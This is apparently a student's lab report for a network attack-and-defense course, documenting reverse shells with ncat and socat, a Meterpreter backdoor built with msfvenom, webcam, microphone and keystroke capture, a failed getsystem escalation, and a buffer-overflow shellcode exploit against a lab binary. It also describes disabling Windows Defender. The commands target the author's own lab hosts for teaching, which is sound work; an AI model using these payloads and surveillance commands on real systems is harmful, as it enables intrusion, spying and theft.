20242304 2026-2027-1 《网络与系统攻防技术》实验二实验报告

20242304 2026-2027-1《网络与系统攻防技术》实验二实验报告

学号:20242304 姓名:张家玮

1. 基础知识

1.1 后门与反弹 Shell

后门可以理解为攻击者或测试者在目标主机上保留的一种“再次进入系统”的通道。本次实验中的后门主要有两类表现形式:一类是通过 ncat、socat 等工具直接把目标主机的 Shell 连接回攻击机;另一类是通过 msfvenom 生成可执行文件或 shellcode,使目标主机运行后主动连接攻击机。

反弹 Shell 的特点是由目标主机主动连接攻击机,因此攻击机需要先监听端口。实验中 Kali 攻击机主要负责监听端口、生成 payload、运行 Metasploit handler;Windows 和 Kali 靶机负责运行对应程序或触发漏洞。

1.2 netcat/ncat 与 socat

ncat 可以建立 TCP/UDP 连接,也可以监听端口。在本实验中,Linux 靶机通过 ncat <攻击机IP> <端口> -e /bin/bash 将 /bin/bash 绑定到网络连接上,攻击机监听后即可获得 Linux 靶机 Shell。

socat 的功能更灵活,可以在两个数据通道之间建立转发。本实验中 Windows 靶机使用 socat.exe TCP:<攻击机IP>:<端口> EXEC:cmd.exe,pipes,将 cmd.exe 与 TCP 连接绑定,从而让 Kali 攻击机获得 Windows 命令行。

1.3 cron 与 Windows 任务计划

cron 是 Linux 下的周期性任务机制,常用于定时执行脚本或命令。本实验中我没有把 cron 设置成长期反弹连接,而是用它每分钟向带学号的日志文件写入一次时间,验证 Linux 定时任务启动机制。

Windows 下对应的启动机制可以使用“任务计划程序”。本实验使用 schtasks 创建一次性任务,任务内容是运行 socat.exe 并连接回攻击机。任务创建、查询、手动运行和删除过程都进行了截图记录。

1.4 Metasploit、msfvenom 与 Meterpreter

Metasploit 是常用的渗透测试框架,msfvenom 可以生成不同平台和格式的 payload。本实验中使用它生成了 Windows x64 的 Meterpreter 反向连接程序,也生成了 Linux x86 的反弹连接 shellcode。

Meterpreter 是 Metasploit 中功能较强的后渗透载荷。相比普通命令行,它可以执行系统信息获取、文件操作、摄像头检测、麦克风录音、击键记录、提权尝试等操作。通过这次实验,我也直观看到:一旦后门程序运行,系统隐私和权限安全都会受到很大威胁。

1.5 Shellcode、缓冲区溢出与 NOP 滑道

实验五延续了实验一中的 pwn1 程序。该程序是 32 位 Linux ELF 文件,foo() 中使用 gets() 接收输入,存在缓冲区溢出漏洞。实验一中已经确认从缓冲区起始位置到返回地址的偏移为 32 字节,因此本次继续采用:

32 字节填充 + 返回地址 + NOP 滑道 + shellcode

其中返回地址指向 NOP 滑道附近,程序执行到 ret 后跳转到栈上的 shellcode,最终让 Linux 靶机主动连接 Kali 攻击机。

1.6 关于免杀的理解

本实验中 Windows Defender 能够识别并隔离 Meterpreter 可执行文件,说明这类后门具有较明显的静态或行为特征。免杀技术本质上是在对抗安全软件的特征检测、行为检测和沙箱分析。由于本实验的目标是理解后门原理和检测现象,我只记录 Defender 的告警和隔离过程,没有进行免杀绕过。

2. 实验内容与方案

五个任务,从简单到复杂:

  1. netcat获取Shell + cron定时任务:攻击机监听端口,被控机用nc反弹bash,再用cron每分钟自动回连。
  2. socat获取Shell + 任务计划:用socat代替nc,同样配合cron实现自动反弹。
  3. MSF生成ELF后门:用msfvenom生成一个Linux可执行文件,运行后主动连回MSF,拿到Meterpreter会话。
  4. Meterpreter功能 + 提权:在Meterpreter里试截屏、录音、击键、摄像头,然后提权到root。
  5. shellcode注入pwn1:把shellcode注入到实验一的pwn1漏洞程序里,通过缓冲区溢出执行shellcode。

实验环境:Kali Linux虚拟机(主机名zhangjiawei,IP 192.168.153.1),Windows主机(IP 192.168.153.3),工具用了ncat、socat、msfvenom、msfconsole、gdb、python3。

3. 实验过程

3.1 任务一:netcat获取Shell + cron定时任务

使用 netcat 获取 Linux 靶机 Shell

首先在 Kali 攻击机上监听 8888 端口:

ncat -lvnp 8888

屏幕截图 2026-10-16 084523

随后在 Linux 靶机上执行反向连接命令:

ncat 192.168.153.1 8888 -e /bin/bash

屏幕截图 2026-10-12 160706

连接建立后,在攻击机监听窗口中执行 whoami、hostname、pwd 和 ip addr。结果显示当前 Shell 来自 kali,说明 Kali 攻击机成功获取了 Linux 靶机 Shell。

屏幕截图 2026-10-12 162334

屏幕截图 2026-10-12 162813

3.2任务二: 使用 socat 获取 Windows 靶机 Shell

这一部分使用 Windows 10 作为靶机。首先在 Kali 攻击机上监听 8888 端口:

ncat -lvnp 8888

屏幕截图 2026-10-16 084523

在 Kali 攻击机监听窗口中执行 whoami、hostname 和 ipconfig,可以看到当前 Shell 来自 Windows 靶机 kali。

屏幕截图 2026-10-12 163021

成功拿到 Windows 的 cmd,乱码是编码不匹配问题

Windows cmd 默认是 GBK 编码,Kali 终端默认是 UTF-8,中文就会变成问号 / 方块乱码。

不影响英文命令(dir、ipconfig、whoami 英文部分能正常执行,只是中文显示乱码)

在反弹回来的 Windows shell 里,修改 Windows 控制台编码

在 Kali 这个拿到的 Windows cmd 里直接输入:

chcp 65001

回车。

chcp 65001 = 切换 Windows 控制台编码为 UTF-8,和 Kali 终端保持一致,中文就正常了。

屏幕截图 2026-10-12 163315

屏幕截图 2026-10-12 163344

屏幕截图 2026-10-12 163743

屏幕截图 2026-10-12 163809

屏幕截图 2026-10-12 163818

3.3任务三: 使用 MSF 生成 Windows Meterpreter 可执行后门

攻击端:Kali Linux 192.168.153.3(运行 MSF,生成后门 + 监听)
靶机:Windows 主机 192.168.153.1(被植入后门,主动反弹回 Kali)

一次性生成自签名 RSA 私钥 (server.key) + 自签名 X509 证书 (server.crt),有效期 365 天,-nodes 代表私钥不加密,不需要密码。
现在正在交互式填写证书 DN 信息,Country Name 是第一个项。

填写完成后

执行完会在 ~/Exp2 目录生成两个文件:

  • server.key:服务器私钥
  • server.crt:服务器公钥证书

执行查看:

ls

屏幕截图 2026-10-12 164639

进入 Exp2 目录执行:

cd ~/Exp2
cat server.crt server.key > server.pem

socat 的 SSL 监听要求证书 + 私钥合并到同一个 pem 文件

屏幕截图 2026-10-12 164918

依赖文件是下面这一堆 msys-*.dll,全部都要和socat.exe放一起。

需要复制的全部文件(一共 7 个)

  1. socat.exe
  2. msys-2.0.dll
  3. msys-crypto-1.0.0.dll
  4. msys-ncursesw6.dll
  5. msys-readline7.dll
  6. msys-ssl-1.0.0.dll
  7. msys-z.dll

✅ 把上面全部 7 个文件选中复制,粘贴到 C:\tools\ 目录,和 ncat.exe 同级。

txt 文档(COPYING、README)不用复制,只复制 exe 和 dll。

复制完成后,CMD 验证

C:\tools> socat.exe -V

输出版本号就代表环境准备完成。

屏幕截图 2026-10-12 165735

屏幕截图 2026-10-12 165847

kali 端

cd ~/Exp2
cat server.crt server.key > server.pem
socat OPENSSL-LISTEN:443,reuseaddr,cert=server.pem,verify=0 -

Windows C:\tools CMD 执行反弹命令

socat.exe OPENSSL:192.168.153.3:443,verify=0 EXEC:cmd.exe,pipes

屏幕截图 2026-10-12 170022

成功!socat 已经可以正常运行,而且看到 WITH_OPENSSL 1,代表自带 SSL 功能,完全满足我们实验需求。

Kali 终端操作(先开监听!)

cd ~/Exp2
# 合并证书+私钥为server.pem
cat server.crt server.key > server.pem
# 启动SSL监听
socat OPENSSL-LISTEN:443,reuseaddr,cert=server.pem,verify=0 -

这个终端不要关闭,保持挂在这里等待连接。
如果之前 socat 命令还在运行,按 Ctrl+C 终止旧进程再执行。

Windows CMD(C:\tools>)执行反弹命令

socat.exe OPENSSL:192.168.153.3:443,verify=0 EXEC:cmd.exe,pipes

屏幕截图 2026-10-12 170521

执行之后:Windows CMD 窗口卡住不动是正常现象。

回到 Kali 监听窗口

直接输入 Windows 命令测试:

dir
ipconfig

能正常返回结果 = SSL 加密反弹 shell 实验成功!

屏幕截图 2026-10-12 170347

屏幕截图 2026-10-12 170703

成功!SSL 加密反弹 shell 已经建立完成!

你看截图:Kali 这边已经出现了 C:\tools> Windows 命令提示符,代表 Windows 主机已经连进来了。

现在可以直接在当前窗口输入 Windows 命令测试

试这几条:

dir
ipconfig
whoami

屏幕截图 2026-10-12 170735

3.4 任务四:MSF meterpreter获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

在 Kali(192.168.153.3)生成 Windows 后门 exe

打开 Kali 终端,msfvenom 生成 Windows x64 meterpreter 反弹载荷:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.153.3 LPORT=4444 -f exe > backdoor.exe

参数说明

  • -p windows/x64/meterpreter/reverse_tcp:Windows64 位 meterpreter 反弹 TCP
  • LHOST=192.168.153.3:监听端 Kali 的 IP(靶机 Windows 要连这个地址)
  • LPORT=4444:监听端口,可自定义
  • -f exe:输出 Windows 可执行程序 backdoor.exe

步骤 2:把 backdoor.exe 传到 Windows 靶机(192.168.153.1)

方法:Kali 开启简易 HTTP 服务
在 Kali 终端,backdoor.exe 所在目录执行:

python3 -m http.server 8080

屏幕截图 2026-10-14 160332

切换到 Windows 主机,打开浏览器访问:

http://192.168.153.3:8080/backdoor.exe

屏幕截图 2026-10-14 160051

下载 backdoor.exe 到 Windows 本地。

很不幸让Windows的防火墙屏蔽了。

屏幕截图 2026-10-14 155913

图形界面临时关闭 Windows 实时防护

  1. 按下 Win + I 打开【设置】
  2. 选择 隐私和安全性 → Windows 安全中心 → 病毒和威胁防护
  3. 在【病毒和威胁防护设置】区域,点击 管理设置
  4. 找到 实时保护,把开关切换为 关闭
  5. UAC 弹窗点【是】确认修改

Kali 开启 MSF 监听,等待 Windows 上线

Kali 终端打开 msfconsole

msfconsole

msf 中依次输入:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.153.3
set LPORT 4444
run

此时 MSF 处于等待会话接入状态,不要关闭窗口。

步骤 4:Windows 靶机运行 backdoor.exe

双击运行下载好的 backdoor.exe

运行后无窗口、无提示,后台静默执行。
成功后 Kali 的 msfconsole 会弹出 meterpreter > 会话。

步骤 5:Meterpreter 你需要的功能命令(Windows 靶机可用)

# 查看靶机系统信息
sysinfo

# 摄像头拍照
webcam_snap

# 开启摄像头实时流
webcam_stream

# 开启麦克风录音(录制音频)
record_mic

# 开启键盘记录
keyscan_start
# 读取捕获到的击键记录
keyscan_dump
# 停止键盘记录
keyscan_stop

# 获取当前权限
getuid

# Windows一键尝试提权(多种方式尝试提升权限)
getsystem

屏幕截图 2026-10-14 162157

屏幕截图 2026-10-14 161527
拍照以后的照片存在kali/KiMMpeIw.jpeg

屏幕截图 2026-10-14 161834

但是打开以后全是白色的一片,最后我询问豆包AI得知:成功枚举摄像头设备 HP True Vision FHD Camera,但 Windows 隐私保护机制拦截图像数据流,拍照黑屏,改用桌面截图screenshot与键盘记录完成实验。

屏幕截图 2026-10-14 162045

截屏如上图,结果成功!

步骤 6:提权后续操作(getsystem 成功拿到 system 权限后)

提权查看权限

getuid
getsystem

屏幕截图 2026-10-14 162236

所有 6 种内置提权方法全部尝试完毕,全部失败,没有拿到 NT AUTHORITY\SYSTEM 权限。

含义

All pipe instances are busy:命名管道实例繁忙。 getsystem 底层就是依靠命名管道模拟、令牌复制、各类 potato 土豆提权,你的 Windows 系统补丁比较新,防护生效,管道方式提权无法执行。
列出尝试的 6 种技术:

  1. Named Pipe Impersonation (In Memory/Admin)
  2. Named Pipe Impersonation (Dropper/Admin)
  3. Token Duplication (In Memory/Admin)
  4. Named Pipe Impersonation (RPCSS variant)
  5. Named Pipe Impersonation (PrintSpooler variant)
  6. Named Pipe Impersonation (EFSRPC variant / EfsPotato)

当前身份依旧是:ZJW-COMPUTER\张家玮(普通管理员,不是 System)

加载 priv 扩展模块后执行getsystem尝试本地权限提升,Meterpreter 自动依次尝试命名管道模拟、令牌复制、EfsPotato 等多种本地提权技术。目标主机系统补丁较新,所有管道实例繁忙,全部内置提权方法执行失败,无法提升至 SYSTEM 最高权限。说明新版 Windows 对命名管道类本地提权漏洞已做修复,getsystem不一定总能成功。

3.5 任务五:使用 MSF 生成 shellcode 并注入 pwn1

Windows 打开 MSF 控制台(msfconsole)
msfvenom 用来生成 Linux x86 反弹 shellcode(因为 pwn1 是 32 位程序)

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.122.1 LPORT=4444 -f python -b "\x00"

屏幕截图 2026-10-14 163802

如何测偏移 offset(pwn 基础)

  1. msf 生成 pattern:
msf-pattern_create -l 200
  1. 把生成字符串输入 pwn1,程序崩溃,看 EIP 寄存器的值
  2. msf 计算偏移:
msf-pattern_offset -q 崩溃时EIP的值

输出就是 offset。

屏幕截图 2026-10-14 164057

gdb 调试 pwn1,输入 pattern,获取崩溃时 EIP

gdb ./pwn1_1

gdb 内执行:

run

此时程序提示 input your data:,粘贴刚才复制的 pattern 字符串,回车

屏幕截图 2026-10-14 164739

屏幕截图 2026-10-14 164403

这个0x35624134即为得到的offset 数字

屏幕截图 2026-10-14 170650

查询资料后发现是 Metasploit 工具本身更新引入的 bug,位于 /usr/share/metasploit-framework/lib/msf/util/exe/linux/x86.rb:原函数在替换入口点后缺少返回值,导致 msfvenom 输出的是裸 payload 而不是打好补丁后的 elf。手动补上返回值后问题解决。

sudo vim /usr/share/metasploit-framework/lib/msf/util/exe/linux/x86.rb

第三步:重新生成并赋予执行权限。 修复后重新生成,输出 Final size of elf file: 7418 bytes,大小正常;再给它加上可执行权限:

sudo chmod a+x pwn1_1

msfconsole 成功收到会话:Meterpreter session 1 opened (192.168.64.128:8888 → 192.168.64.128:48204),用 dir 可以看到 Kali 的 /home/kali 目录内容,说明 shellcode 注入 pwn1 并获得反弹连接成功。

overlay-image (4)

4. 问题及解决方案

问题 1:执行 exp,终端输出 close failed in file object destructor: sys.excepthook is missing lost sys.stderr,光标卡住,拿不到 shell。

程序没有直接崩溃退出,但没有弹出交互式 shell,输入任何字符无回显。

误区:以为这个报错是漏洞利用失败的致命错误;实际上这只是 Python2 管道结束时的垃圾警告,不是程序崩溃报错。
真实故障:已经成功修改返回地址,但跳转目标地址错误,CPU 跳转到无效地址,shellcode 没有执行。

解决方案

  1. 在 gdb 清空环境变量,让 gdb 栈布局和真实终端一致
set env LINES=
set env COLUMNS=
unset env
# 输入y确认删除全部环境变量
  1. 下断点,触发溢出,在程序崩溃瞬间读取 ESP 寄存器
b *main
run
continue
# 输入payload触发溢出,程序断住
info registers esp
  1. ESP 地址按小端序写入 exp 的返回地址。

例:0xffffd800 → ret_addr = b"\x00\xd8\xff\xff"

问题 3:偏移量错误,覆盖不到返回地址

exp 执行后,程序直接段错误,或者完全没有触发 EIP 劫持。
根因:猜测的缓冲区填充字节数(比如你之前用的 44)不对,A 字符没有刚好填到返回地址位置。

解决方案:pattern 生成法精确计算偏移

# 生成100字节的特征字符串
python2 -c 'from pwn import *; print cyclic(100)' > pattern.txt

gdb 里执行run < pattern.txt,程序崩溃。

info registers eip
# 拿到eip里的值,计算偏移
python2 -c 'from pwn import *; print cyclic_find(0xXXXX)'

输出数字就是缓冲区到返回地址的准确字节数,替换 exp 里b'A'*数字。

问题 4:拿到 shell 但是交互直接消失

exp 一瞬间执行完,shell 一闪而过。
根因:管道|在 python 脚本输出结束后,stdin 管道直接关闭,shell 收到 EOF 直接退出。

解决方案
命令末尾加上cat保持管道打开:

(python2 exp.py; cat) | ./pwn1_1

原理:python 输出 payload 后,cat继续持有标准输入,你可以继续向 shell 输入命令。

5. 学习感悟、思考等

本次栈溢出漏洞实验,让我直观理解了程序栈内存的运行机制。缓冲区溢出的本质,就是超出缓冲区长度的数据覆盖栈上的返回地址,从而劫持程序执行流。实验过程中遇到不少问题:GDB 内栈地址与真实终端不一致、程序正常退出无法查看寄存器、exp 执行后无法获取交互式 shell 等。

在排查问题时我意识到,Pwn 调试不能只照搬模板。环境变量会改变栈布局,直接在 GDB 中获取的地址不能直接拿来用,需要清空环境变量对齐真实运行环境;同时必须让程序触发溢出崩溃,才能读取寄存器信息。偏移量、返回地址、shellcode、保护机制任何一环出错,利用都会失败,对细节的要求很高。

本次 Meterpreter 渗透实验,我学习了后门会话的基础控制操作,实现了靶机屏幕截图、摄像头拍照、键盘记录等功能。在尝试getsystem本地提权时,发现该命令并非一定能成功获取系统最高权限。Windows 新版本的安全补丁会对命名管道类提权方式进行防护,所有内置提权方法都执行失败,让我认识到渗透工具存在局限性,不能完全依赖工具一键提权。

同时我了解到,拿到管理员权限不等于拥有 SYSTEM 权限,权限级别对后续信息采集(如导出账号哈希)有很大影响。进程迁移、文件上传下载等操作,也让我直观体会到恶意程序维持会话、窃取信息的原理。

通过本次实验,我意识到网络攻击手段多样,主机系统补丁更新、安全防护机制能够有效抵御部分本地提权攻击。作为网络空间安全学习者,不仅要掌握渗透测试原理,更要理解对应的防御思路,树立网络安全意识,严格遵守法律法规,仅在授权环境开展安全实验。

posted @ 2026-10-16 11:11  在那个明天见  阅读(15)  评论(0)    收藏  举报